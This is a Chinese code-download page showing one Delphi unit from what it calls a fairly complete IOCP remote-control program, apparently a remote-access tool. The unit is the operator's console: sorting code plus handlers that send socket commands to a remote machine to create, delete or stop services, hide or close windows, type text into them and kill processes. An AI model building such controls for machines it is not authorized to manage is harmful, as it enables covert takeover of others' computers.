⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 fileandclientinfoctrlunit.pas

📁 delphi源代码。iocp远控比较完整的代码
💻 PAS
📖 第 1 页 / 共 5 页
字号:
  begin
    Compare := ServiceListSortWay * CompareText(Item1.Caption, Item2.Caption);
  end
  else
  begin
    t := ServiceListSortCol - 1;
    Compare := ServiceListSortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
  end;
end;

//远程文件排序
procedure TFileAndInfoCtrlForm.ListViewFileColumnClick(Sender: TObject;
  Column: TListColumn);
begin
  SortCol := Column.Index;
  if (SortWay = 1) then SortWay := -1 else SortWay := 1;
  (Sender as TCustomListView).AlphaSort;
end;

//远程文件排序
procedure TFileAndInfoCtrlForm.ListViewFileCompare(Sender: TObject; Item1,
  Item2: TListItem; Data: Integer; var Compare: Integer);
var
  t : Integer;
begin
  if (SortCol = 0) then
  begin
    Compare := SortWay * CompareText(Item1.Caption, Item2.Caption);
  end
  else
  begin
    t := SortCol - 1;
    Compare := SortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
  end;
end;

//ListViewWindowList排序
procedure TFileAndInfoCtrlForm.ListViewWindowListColumnClick(
  Sender: TObject; Column: TListColumn);
begin
  WindowListSortCol := Column.Index;
  if (WindowListSortWay = 1) then WindowListSortWay := -1 else WindowListSortWay := 1;
  (Sender as TCustomListView).AlphaSort;
end;

//ListViewWindowList排序
procedure TFileAndInfoCtrlForm.ListViewWindowListCompare(Sender: TObject;
  Item1, Item2: TListItem; Data: Integer; var Compare: Integer);
var
  t : Integer;
begin
  if (WindowListSortCol = 0) then
  begin
    Compare := WindowListSortWay * CompareText(Item1.Caption, Item2.Caption);
  end
  else
  begin
    t := WindowListSortCol - 1;
    Compare := WindowListSortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
  end;
end;

//进程列表排序
procedure TFileAndInfoCtrlForm.ListViewProcessListColumnClick(
  Sender: TObject; Column: TListColumn);
begin
  ProcessListSortCol := Column.Index;
  if (ProcessListSortWay = 1) then ProcessListSortWay := -1 else ProcessListSortWay := 1;
  (Sender as TCustomListView).AlphaSort;
end;

//进程列表排序
procedure TFileAndInfoCtrlForm.ListViewProcessListCompare(Sender: TObject;
  Item1, Item2: TListItem; Data: Integer; var Compare: Integer);
var
  t : Integer;
begin
  if (ProcessListSortCol = 0) then
  begin
    Compare := ProcessListSortWay * CompareText(Item1.Caption, Item2.Caption);
  end
  else
  begin
    t := ProcessListSortCol - 1;
    Compare := ProcessListSortWay * CompareText(Item1.SubItems[t], Item2.SubItems[t]);
  end;
end;

(*--------------------------以下是服务控制部分----------------------------*)

//开启服务
procedure TFileAndInfoCtrlForm.RPMStartCerviceClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDStartService;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//停止服务
procedure TFileAndInfoCtrlForm.RPMStopServiceClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDStopService;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//暂停服务
procedure TFileAndInfoCtrlForm.RPMPauseServiceClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDPauseService;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//恢复服务
procedure TFileAndInfoCtrlForm.RPMContinueServiceClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDContinueService;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//设置服务为自动
procedure TFileAndInfoCtrlForm.RPMSetAutoStartClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDSetAutoStartType;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//设置服务为手动
procedure TFileAndInfoCtrlForm.RPMSetManualStartClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDSetManualStartType;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//设置服务为禁用
procedure TFileAndInfoCtrlForm.RPMSetDisableStartClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDSetDisableStartType;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//删除服务
procedure TFileAndInfoCtrlForm.RPMDeletServiceClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDDeleteWin32Service;
    CMDHeader.OrderExtend := StrToInt(ListViewService.Selected.Caption);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//开启新的服务
procedure TFileAndInfoCtrlForm.RPMAddNewServiceClick(Sender: TObject);
var
  tmpStr, ServiceName, ServiceDisplayName, ServiceAppFileNameAndParam : string;
  srcLength, desLength, FileNameAndParamLen : WORD;
begin 
  ServiceName := '';
  if not InputQuery('输入服务名', '请输入服务名', ServiceName) then Exit;
  srcLength := Length(ServiceName);
  if srcLength = 0 then Exit;
  ServiceDisplayName := '';
  if not InputQuery('输入服务显示名', '请输入服务显示名', ServiceDisplayName) then Exit;
  desLength := Length(ServiceDisplayName);
  if desLength = 0 then Exit;
  ServiceAppFileNameAndParam := '';
  if InputQuery('输入服务运行参数', '请输入服务运行参数', ServiceAppFileNameAndParam) then
    FileNameAndParamLen := Length('"' + ServiceAppFileNameAndParam + '"')
  else
    FileNameAndParamLen := 0;
  //得到需要发送的字符串
  tmpStr := ServiceName + ServiceDisplayName + '"' + ServiceAppFileNameAndParam + '"';
  if ClientSocket <> 0 then
  begin
    CMDHeader.Order := CMDAddWin32Service;
    CMDHeader.OrderExtend := FileNameAndParamLen;
    CMDHeader.ExdSource := srcLength;
    CMDHeader.ExdDest := desLength;
    SetCmdSignByte(ClientSocket, CMDHeader, False, tmpstr);
  end;
end;

(*-----------------------------以下是窗口操作函数-----------------------------*)

//隐藏窗口
procedure TFileAndInfoCtrlForm.RPMHideWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDHideWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//显示窗口
procedure TFileAndInfoCtrlForm.RPMShowWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDShowWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//关闭窗口
procedure TFileAndInfoCtrlForm.RPMCloseWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDKillWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//最小化
procedure TFileAndInfoCtrlForm.RPMMinWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDMinWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//最大化
procedure TFileAndInfoCtrlForm.RPMMaxWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDMaxWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//恢复
procedure TFileAndInfoCtrlForm.RPMRestoreWindowClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDResoreWindow;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

//窗口前置
procedure TFileAndInfoCtrlForm.RPMBringWndToFrontClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDBringWindowFront;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    SetCmdSignByte(ClientSocket, CMDHeader, False, EditSendChar.Text);
  end;
end;

//发送字符串,并enter
procedure TFileAndInfoCtrlForm.BSendEnerClick(Sender: TObject);
begin
  if (ClientSocket <> 0) and (ListViewWindowList.SelCount > 0) then
  begin
    CMDHeader.Order := CMDSendChar;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    CMDHeader.ExdSource := CMDSendCharEnter;
    SetCmdSignByte(ClientSocket, CMDHeader, False, EditSendChar.Text);
  end;
end;

//发送字符串,并enter+ctrl
procedure TFileAndInfoCtrlForm.BSendEnterAndCtrlClick(Sender: TObject);
begin
  if (ClientSocket <> 0) and (ListViewWindowList.SelCount > 0) then
  begin
    CMDHeader.Order := CMDSendChar;
    CMDHeader.OrderExtend := StrToInt(ListViewWindowList.Selected.SubItems[3]);
    CMDHeader.ExdSource := CMDSendCharEnterCtrl;
    SetCmdSignByte(ClientSocket, CMDHeader, False, EditSendChar.Text);
  end;
end;

(*-----------------------------以下是进程操作部分-----------------------------*)

//结束进程
procedure TFileAndInfoCtrlForm.RPMTerminateProcessClick(Sender: TObject);
begin
  if (ClientSocket <> 0) then
  begin
    CMDHeader.Order := CMDKillProcess;
    CMDHeader.OrderExtend := StrToInt(ListViewProcessList.Selected.SubItems[1]);
    SetCmdSignByte(ClientSocket, CMDHeader, False);
  end;
end;

(*-------------------------------弹出菜单的条件-------------------------------*)

procedure TFileAndInfoCtrlForm.RPMServiceListPopup(Sender: TObject);
var
  i : integer;
  myPopMenu : TPopupMenu;
  myListView : TListView;
begin
  //获取对象
  myPopMenu := TPopupMenu(Sender);
  myListView := nil;
  if myPopMenu = RPMServiceList then
    myListView := ListViewService
  else if myPopMenu = RPMWindowList then
    myListView := ListViewWindowList
  else if myPopMenu = RPMProcessList then
    myListView := ListViewProcessList;
  //判断
  if myListView.SelCount > 0 then
  begin
    for i := 0 to myPopMenu.Items.Count - 2 do
      myPopMenu.Items[i].Enabled := True;
  end
  else
  begin
    for i := 0 to myPopMenu.Items.Count - 2 do
      myPopMenu.Items[i].Enabled := False;
  end;
end;

//调整
procedure TFileAndInfoCtrlForm.ToolBar3Resize(Sender: TObject);
begin
  EditSendChar.Width := ToolBar3.Width - BSendEnterAndCtrl.Left - 2;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -